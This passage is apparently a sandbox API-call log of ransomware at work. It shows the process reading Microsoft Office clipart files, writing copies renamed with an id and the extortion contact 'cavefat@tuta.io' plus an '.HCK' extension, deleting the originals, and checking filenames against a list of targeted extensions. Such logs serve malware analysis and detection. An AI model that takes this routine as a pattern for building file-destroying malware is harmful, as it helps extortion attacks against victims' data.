nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xff8, lpOverlapped=0x0) returned 1 [0178.971] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1000, lpOverlapped=0x0) returned 1 [0178.972] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.972] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.972] SetEndOfFile (hFile=0x2fc) returned 1 [0178.974] CloseHandle (hObject=0x2fc) returned 1 [0178.974] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.974] SetEndOfFile (hFile=0x3a4) returned 1 [0178.977] CloseHandle (hObject=0x3a4) returned 1 [0178.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02435_.wmf")) returned 1 [0178.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF") returned 68 [0178.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF") returned 68 [0178.979] lstrlenW (lpString=".doc") returned 4 [0178.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.979] lstrlenW (lpString=".docx") returned 5 [0178.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.979] lstrlenW (lpString=".pdf") returned 4 [0178.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.979] lstrlenW (lpString=".xls") returned 4 [0178.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.979] lstrlenW (lpString=".xlsx") returned 5 [0178.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.979] lstrlenW (lpString=".ppt") returned 4 [0178.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF") returned 68 [0178.979] lstrlenW (lpString=".zip") returned 4 [0178.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.980] lstrlenW (lpString=".rar") returned 4 [0178.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.980] lstrlenW (lpString=".bz2") returned 4 [0178.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.980] lstrlenW (lpString=".7z") returned 3 [0178.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF") returned 68 [0178.980] lstrlenW (lpString=".dbf") returned 4 [0178.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF") returned 68 [0178.980] lstrlenW (lpString=".1cd") returned 4 [0178.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF") returned 68 [0178.980] lstrlenW (lpString=".jpg") returned 4 [0178.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF") returned 68 [0178.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF") returned 68 [0178.980] lstrlenW (lpString=".doc") returned 4 [0178.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.980] lstrlenW (lpString=".docx") returned 5 [0178.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.980] lstrlenW (lpString=".pdf") returned 4 [0178.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.980] lstrlenW (lpString=".xls") returned 4 [0178.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.980] lstrlenW (lpString=".xlsx") returned 5 [0178.980] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.980] lstrlenW (lpString=".ppt") returned 4 [0178.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF") returned 68 [0178.980] lstrlenW (lpString=".zip") returned 4 [0178.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.980] lstrlenW (lpString=".rar") returned 4 [0178.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.980] lstrlenW (lpString=".bz2") returned 4 [0178.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.980] lstrlenW (lpString=".7z") returned 3 [0178.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF") returned 68 [0178.980] lstrlenW (lpString=".dbf") returned 4 [0178.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF") returned 68 [0178.980] lstrlenW (lpString=".1cd") returned 4 [0178.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF") returned 68 [0178.981] lstrlenW (lpString=".jpg") returned 4 [0178.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.981] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.981] lstrlenW (lpString="NA02444_.WMF") returned 12 [0178.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.988] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2188) returned 1 [0178.988] CloseHandle (hObject=0x3a4) returned 1 [0178.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02444_.wmf")) returned 0x220 [0178.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02444_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.993] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.993] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02444_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.997] GetLastError () returned 0x0 [0178.997] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x88c, lpOverlapped=0x0) returned 1 [0179.000] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x890, lpOverlapped=0x0) returned 1 [0179.000] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.000] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.000] SetEndOfFile (hFile=0x3a4) returned 1 [0179.002] CloseHandle (hObject=0x3a4) returned 1 [0179.002] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.002] SetEndOfFile (hFile=0x2fc) returned 1 [0179.006] CloseHandle (hObject=0x2fc) returned 1 [0179.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02444_.wmf")) returned 1 [0179.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF") returned 68 [0179.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF") returned 68 [0179.009] lstrlenW (lpString=".doc") returned 4 [0179.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.009] lstrlenW (lpString=".docx") returned 5 [0179.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.009] lstrlenW (lpString=".pdf") returned 4 [0179.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.009] lstrlenW (lpString=".xls") returned 4 [0179.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.009] lstrlenW (lpString=".xlsx") returned 5 [0179.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.009] lstrlenW (lpString=".ppt") returned 4 [0179.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF") returned 68 [0179.009] lstrlenW (lpString=".zip") returned 4 [0179.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.010] lstrlenW (lpString=".rar") returned 4 [0179.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.010] lstrlenW (lpString=".bz2") returned 4 [0179.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.010] lstrlenW (lpString=".7z") returned 3 [0179.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF") returned 68 [0179.010] lstrlenW (lpString=".dbf") returned 4 [0179.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF") returned 68 [0179.010] lstrlenW (lpString=".1cd") returned 4 [0179.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF") returned 68 [0179.010] lstrlenW (lpString=".jpg") returned 4 [0179.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF") returned 68 [0179.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF") returned 68 [0179.010] lstrlenW (lpString=".doc") returned 4 [0179.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.010] lstrlenW (lpString=".docx") returned 5 [0179.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.010] lstrlenW (lpString=".pdf") returned 4 [0179.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.010] lstrlenW (lpString=".xls") returned 4 [0179.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.010] lstrlenW (lpString=".xlsx") returned 5 [0179.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.010] lstrlenW (lpString=".ppt") returned 4 [0179.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF") returned 68 [0179.010] lstrlenW (lpString=".zip") returned 4 [0179.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.010] lstrlenW (lpString=".rar") returned 4 [0179.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.010] lstrlenW (lpString=".bz2") returned 4 [0179.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.010] lstrlenW (lpString=".7z") returned 3 [0179.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF") returned 68 [0179.010] lstrlenW (lpString=".dbf") returned 4 [0179.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF") returned 68 [0179.010] lstrlenW (lpString=".1cd") returned 4 [0179.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF") returned 68 [0179.011] lstrlenW (lpString=".jpg") returned 4 [0179.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.011] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.011] lstrlenW (lpString="NA02453_.WMF") returned 12 [0179.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.014] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3388) returned 1 [0179.014] CloseHandle (hObject=0x300) returned 1 [0179.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02453_.wmf")) returned 0x220 [0179.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02453_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.019] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.019] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02453_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.023] GetLastError () returned 0x0 [0179.023] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xd3c, lpOverlapped=0x0) returned 1 [0179.024] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xd40, lpOverlapped=0x0) returned 1 [0179.024] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.024] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.025] SetEndOfFile (hFile=0x39c) returned 1 [0179.028] CloseHandle (hObject=0x39c) returned 1 [0179.029] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.029] SetEndOfFile (hFile=0x368) returned 1 [0179.031] CloseHandle (hObject=0x368) returned 1 [0179.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02453_.wmf")) returned 1 [0179.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF") returned 68 [0179.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF") returned 68 [0179.034] lstrlenW (lpString=".doc") returned 4 [0179.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.034] lstrlenW (lpString=".docx") returned 5 [0179.034] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.034] lstrlenW (lpString=".pdf") returned 4 [0179.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.034] lstrlenW (lpString=".xls") returned 4 [0179.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.034] lstrlenW (lpString=".xlsx") returned 5 [0179.034] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.034] lstrlenW (lpString=".ppt") returned 4 [0179.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF") returned 68 [0179.034] lstrlenW (lpString=".zip") returned 4 [0179.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.034] lstrlenW (lpString=".rar") returned 4 [0179.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.034] lstrlenW (lpString=".bz2") returned 4 [0179.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.034] lstrlenW (lpString=".7z") returned 3 [0179.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF") returned 68 [0179.034] lstrlenW (lpString=".dbf") returned 4 [0179.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF") returned 68 [0179.034] lstrlenW (lpString=".1cd") returned 4 [0179.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF") returned 68 [0179.034] lstrlenW (lpString=".jpg") returned 4 [0179.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF") returned 68 [0179.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF") returned 68 [0179.034] lstrlenW (lpString=".doc") returned 4 [0179.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.034] lstrlenW (lpString=".docx") returned 5 [0179.034] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.034] lstrlenW (lpString=".pdf") returned 4 [0179.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.034] lstrlenW (lpString=".xls") returned 4 [0179.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.034] lstrlenW (lpString=".xlsx") returned 5 [0179.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.035] lstrlenW (lpString=".ppt") returned 4 [0179.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF") returned 68 [0179.035] lstrlenW (lpString=".zip") returned 4 [0179.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.035] lstrlenW (lpString=".rar") returned 4 [0179.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.035] lstrlenW (lpString=".bz2") returned 4 [0179.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.035] lstrlenW (lpString=".7z") returned 3 [0179.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF") returned 68 [0179.035] lstrlenW (lpString=".dbf") returned 4 [0179.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF") returned 68 [0179.035] lstrlenW (lpString=".1cd") returned 4 [0179.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF") returned 68 [0179.035] lstrlenW (lpString=".jpg") returned 4 [0179.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.035] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.035] lstrlenW (lpString="PE00034_.WMF") returned 12 [0179.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00034_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.039] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=15708) returned 1 [0179.039] CloseHandle (hObject=0x2fc) returned 1 [0179.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00034_.wmf")) returned 0x220 [0179.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00034_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00034_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.043] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.043] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00034_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.046] GetLastError () returned 0x0 [0179.046] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3d5c, lpOverlapped=0x0) returned 1 [0179.048] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3d60, lpOverlapped=0x0) returned 